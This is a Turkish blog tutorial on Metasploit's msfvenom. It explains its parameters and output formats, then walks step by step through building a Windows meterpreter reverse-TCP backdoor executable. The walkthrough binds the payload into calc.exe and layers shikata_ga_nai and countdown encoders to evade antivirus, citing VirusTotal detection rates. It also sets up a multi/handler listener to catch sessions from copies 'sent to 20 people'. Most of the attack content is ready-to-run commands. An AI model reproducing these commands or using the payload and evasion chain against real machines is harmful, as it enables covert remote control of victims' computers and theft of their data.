• Kategori: Güvenlik
  • Eyüp ÇELİK
  • Gösterim: 8170

Derinlemesine Msfvenom'a Bakış ve Msfvenom ile Backdoor Oluşturma

Biliyorsunuz uzun zamandır makale yazamadım. Son zamanlarda oldukça yoğun bir koşturmaca içerisindeyim. Bir türlü fırsat bulup, makale yazma fırsatı yakalayamadım. Şimdi bir boşluk yakalamışken “Msfvenom” konusunu ele almak istedim.

Msfvenom, Metasploitin yeni nesil payload üretici aracı olarak kullanıma sunuldu. Msfvenom her ne kadar daha önce yazılıp dağıtılmış olsa da özellikle Kali 2.0’ın dağıtılması ile birlikte artık kaçınılmaz kullanıma sahip oldu. Eski Metasploit kullanıcıları payload (backdoor) üretmek için msfpayload’dan faydalanmaktaydılar. Ancak Kali 2.0 ile birlikte msfpayload ve metasploitin encoder aracı olan msfencode yerini tamamen msfvenom’a bıraktı. Hal böyle olunca da ben msfvenom kullanımı ile ilgili bir makaleyi ele almak istedim.

Msfvenom eski msfpayload ve msfencode aracının birleşimi olarak karşımıza çıktı. Msfpayload ve msfencode kullanımı oldukça çok parametreye sahipti ve kullanıcılar bu parametreleri aklında tutmakta zorlanabiliyorlardı. Ayrıca araçtan araca zıplamak vs. de oldukça zor gelen diğer bir konuydu. Tüm bunlarla birlikte metasploit geliştiricileri Msfvenom aracını üretip, kullanıma sundular. Ben de bu makalede msfvenom aracını detaylandırmaya çalışacağım.

Not: Bu makale Kali v2.0’ın kurulu ve ağ ayarlarının yapılmış olduğu varsayılarak yazılmıştır.

Kali’de bir konsol ekranı açıl “msfvenom” yazalım.

kali linux msfvenom

kali_linux_msfvenom.png

msfvenom” komutunu yazdığımızda msfvenom aracının yardım menüsü açılacaktır. Ancak biz bodozlama yazdık. Doğru kullanım syntax’ı “msfvenom -h” şeklinde olmalıdır.

Msfvenom’un kullanım parametreleri aşağıda bulunan Msfvenom Parametreleri tablosunda yer almaktadır.

Parametre Adı Örnek Kullanımı
-p

mfvenom’da kullanılacak bir payload’u seçer. msfvenom -p “payload adı"

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.141 LPORT=443

-l

Payloadları listeler. msfvenom -l “payload, encoder, nops adı”

msfvenom -l payloads veya msfvenom -l encoders

-f

Kaydedilecek dosya formatı. msfvenom -f “çıktı formatı”

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.141 LPORT=443 -f exe

-a

Oluşturulacak payload’un mimarisini belirler. Msfvenom -a “mimari”

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.141 LPORT=443 -f exe -a x86

--platform

Dosyanın çalışacağı platformu belirler. msfvenom --platform “çalışacağı platform”

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.141 LPORT=443 -f exe -a x86 --platform windows

-o

Payload’un nereye çıkarılacağını belirtir. msfvenom -o “çıkarılacak dizin”

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.141 LPORT=443 -f exe -a x86 -o /root/Desktop/eyup.exe

-e

Encoder seçimini belirtir. msfvenom -e “encoder adı”

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.141 LPORT=443 -f exe -a x86 -o /root/Desktop/eyup.exe -e x86/shikata_ga_nai

-i

İterasyon sayısını belirler yani encoding işleminin kaç kere tekrarlanacağını bildirir. msfvenom -i 20

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.141 LPORT=443 -f exe -a x86 -o /root/Desktop/eyup.exe -e x86/shikata_ga_nai -i 20

-b

Kötü karakterleri (bad characters) temizler. “msfvenom -b ‘\x00\xff’”

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.141 LPORT=443 -f exe -a x86 -o /root/Desktop/eyup.exe -e x86/shikata_ga_nai -i 20 -b ‘\x00’

-x

Oluşturulacak payload’un bir dosya ile birleştirileceğini belirtir. msfvenom -x “birleştirilecek dosyanın adı veya yolu”

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.141 LPORT=443 -f exe -a x86 -o /root/Desktop/eyup.exe -e x86/shikata_ga_nai -i 20 -b ‘\x00’ -x /root/Desktop/calc.exe

-k

Birleştirilen dosyanın fonksiyonlarının bozulmasını engelle “msfvenom -k”

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.141 LPORT=443 -f exe -a x86 -o /root/Desktop/eyup.exe -e x86/shikata_ga_nai -i 20 -b ‘\x00’ -x /root/Desktop/calc.exe -k

-c

Birleştirilecek Shell code’u belirler. msfvenom -c “Shell code dizini”

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.141 LPORT=443 -c /root/Desktop/shellcode.txt

Tablo: Msfvenom Parametreleri

Üstteki tabloda görüleceği üzere Msfvenom oldukça rahat ve kolay bir kullanıma sahiptir. Aşağıdaki tabloda ise msfvenom’un çıktı formatları yer almaktadır.

Çıktı Tipi Çıktı Listesi
Çalıştırılabilir asp, aspx, aspx-exe, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war
Yazılımsal bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript

Tablo: Msfvenom Çıktı Formatları

Msfvenom bir çok çıktı formatını desteklediği gibi, bir çok platformu da desteklemektedir. Msfvenom’un payload çıktısının çalışabileceği platformlar ise aşağıdaki gibidir.

Çıktı Tipi Platform Listesi
Çalıştırılabilir osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, solaris, cisco, linux, ruby, java, android, netware, windows

Tablo: Msfvenom Platform Listesi

Tüm bu ön bilgi ve tanıtımın ardından artık msfvenom kullanarak arka kapımızı oluşturabiliriz. Buna göre bizim hazırlayacağımız payload 192.168.126.141 IP adresi ve 443 portunu kullanarak bize geri dönüş sağlayacak. Bu özelliklerde bir çıktı hazırlamaya başlayalım. Kali’den bir konsol ekranı açıp işe koyulabiliriz.

msfvenom backdoor

msfvenom_backdoor.png

Dosyamızı “msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.141 LPORT=443 -f exe -a x86 -o /root/Desktop/eyup.exe --platform windows -e x86/shikata_ga_nai -i 20” komutu ile oluşturduk. Buna göre 192.168.126.141 IP adresinin 443 portuna geri dönüş yapacak, x86 platformda çalışacak, shikata_ga_nai encoder’ını kullanan, 20 defa encoding işlemi yapan bir exe dosyası hazırlamış olduk.

Dosyamız hazır olduğuna göre, oluşturduğumuz dosyayı artık test edebiliriz. Ancak teste başlamadan önce gelen bağlantıları kabul etmek için metasploit multi handler’ı başlatmamız gerekecek. Ayrı bir konsol daha açıp uygulamaya koyuluyoruz.

msfconsole komutunu yazarak metasploit konsolunu çalıştırıyoruz. Ardından listen moda geçmek için aşağıdaki tabloda yer alan komutları sırası ile yazacağız.

Komut İşlev
use exploit/multi/handler Gelen bağlantıları dinleyecek handlerımızı belirtiyoruz.
set PAYLOAD windows/meterpreter/reverse_tcp Bize ters bağlantı (reverse connection) kuracak olan payload’umuzu ayarlıyoruz.
set LHOST 192.168.126.141 Gelen bağlantıları kabul edecek IP adresimizi belirtiyoruz.
set LPORT 443 443’üncü porta gelen bağlantıları dinleyeceğimizi ve bu bağlantıları kabul edeceğimizi belirtiyoruz.
set ExitOnSession false Kaç bağlantı gelirse gelsin, yeni bağlantıların gelmesi için bu değeri false konumuna alıyoruz. Örnek ile açıklamam gerekirse eğer; “oluşturduğumuz exe yi 20 kişiye göndereceğimizi varsayalım. Normal şartlar altında (yani varsayılanda) eğer bu değeri değiştirmezsek, ilk bağlantı geldikten sonra diğer 19 kişi bizimle bağlantı kuramayacaktır. Böyle bir sorun olmasın diyorsak bu değeri false yapmamız gerekiyor.”
exploit -j -z Listen moda geçip bağlantılar için bir jobs belirledik. Bundan sonra gelen tüm bağlantıları jobs karşılayacaktır.

Tablo: Metasploit Listen Moda Geçip Bağlantıları Beklemek

metasploit listen mode

metasploit_listen_mode.png

Metasploit yukarda görüldüğü gibi listen mode’a geçecek ve gelen bağlantıları karşılamayı bekleyecektir. Oluşturduğumuz zararlıyı karşı tarafa gönderildikten ve karşı tarafta bulunan bilgisayar dosyayı çalıştırdığında bağlantımız gelecektir.

msfvenom connection msfvenom nedir

msfvenom_connection.png

Bağlantımız geldikten sonra “msfvenom_connection.png” gibi bir ekran ile karşılaşacağız. Hemen ardından gelen bağlantıyı kabul etmek için session komutundan faydalanacağız.

msfvenom sessions

msfvenom_sessions.png

“sessions” komutu ile gelen bağlantıların listesini görüntülüyoruz. Ardından “sessions -i 1” komutu ile 1 numaralı ID’ye sahip olan session’ın içine girerek, hedef ile bağlantımızı sağlayacağız.

msfvenom meterpreter

msfvenom_meterpreter.png

Üstteki resimde görüleceği üzere, meterpreter oturumunu üzerimize aldık. Artık hedefimize komutlarımızı yollayabiliriz J

Dipnot: Birden çok session arasında gezmek istiyorsanız, içinde bulunduğunuz meterpreter’a background komutunu yollayıp oturumu sessions listesine geri yollayabilir ve sessions listesindeki herhangi bir ID’ye tekrar geçebilirsiniz.

Peki herşey güzel abi de oluşturduğumuz exe hangi antivirüslere yakalanıyor derseniz de, zararlıyı virustotal’e gönderebilirsiniz. Lakin oraya göndermenizi tavsiye etmem. Ancak yine de göndereceğinizi bildiğimden, ben gönderip sonuçlarını yazayım dedim.

msfvenom virustotal sonucu

virustotal_sonucu.png

Görüldüğü üzere tarama sonucunda 56 antivirüs uygulamasından 36 tanesi payload’u yakalamaktadır. 20 antivirüs ise yakalayamıyor. Yakalayamayanlar arasında Panda ve ClamAV gibi ürünler de var. Ancak diğer bilindik ürünlerin hepsi yakalıyor maalesef. Virustotal sonucuna aşağıdaki linkten erişebilirsiniz.

Virustotal sonucu: https://www.virustotal.com/tr/file/e47e1831c88aaead059c7254e5586dceba6db041b488ff531f972a40a31cf3c2/analysis/1441993633/

Ee hal böyle olunca da encoder’ın encoder’ına ihtiyaç var. Msfvenom’da birden çok encoder seçebilirsiniz. Biz encoding’in encoding’inin encodingini yapıcaz J Çoklu encoder örneğimiz de aşağıdaki gibi olsun.

encodingin_encodinginin_encodingi

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.141 LPORT=443 -f raw -e x86/shikata_ga_nai -i 10 | msfvenom -a x86 --platform windows -e x86/countdown -i 5 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 20 -f exe -o /root/Desktop/eyup2.exe” Kodu ile yukarıdaki resimdeki yukarıdaki resimde görüleceği üzer çok bir encoding (multiple encoding) işlemi yaptık. Buna göre 10 iterasyonluk shikata_ga_nai üzerine 5 iterasyonluk coutdown ve onunda üzerine 20 iterasyonluk shikata_ga_nai yaptık.

Bir başka makalede daha beraber kafa kırmak üzere.

Comments

0 up 07-01-2017 08:49 #1
hocam sonda belirtilen kısımda "raw"ı neden kullandınız

ve cyrpter kulanmak yerine bu şekilde encoder etdersek antivürüse yakalanırmıyız
Quote
0 shad0w@1337 03-07-2017 21:31 #2
Ulan Eyüp hala şu script kiddle bitmedi mi? Millet 2001'de MBR'a rootkit yazar bu da 2015'de msfvenom makalesi yazar. Yaz yaz sqlmap kullanımını yaz. Bu tarz makaleler güncelliliğini bitireli 10 yıldan fazla oluyor Eyüp efendi
Quote
0 Eyüp Çelik 16-07-2017 15:13 #3
Alıntılandı shad0w@1337:
Ulan Eyüp hala şu script kiddle bitmedi mi? Millet 2001'de MBR'a rootkit yazar bu da 2015'de msfvenom makalesi yazar. Yaz yaz sqlmap kullanımını yaz. Bu tarz makaleler güncelliliğini bitireli 10 yıldan fazla oluyor Eyüp efendi


Peki neden buralara kadar geldin, sayfayı aradın, buldun, okudun bla bla bla? Öğrenmek için mi yoksa kendi geliştirdiğin malware'i, exploiti etc. tanıtmak için mi?
Quote

Yorum ekle


Güvenlik kodu Yenile

Bookmaker betfair Bonus review by ArtBetting.co.uk

Bookmaker bet365 review by ArtBetting.co.uk

Germany bookmaker b.artbetting.de review by ArtBetting.de

Bookmaker Greece BET365 review by ArtBetting.gr

Back to top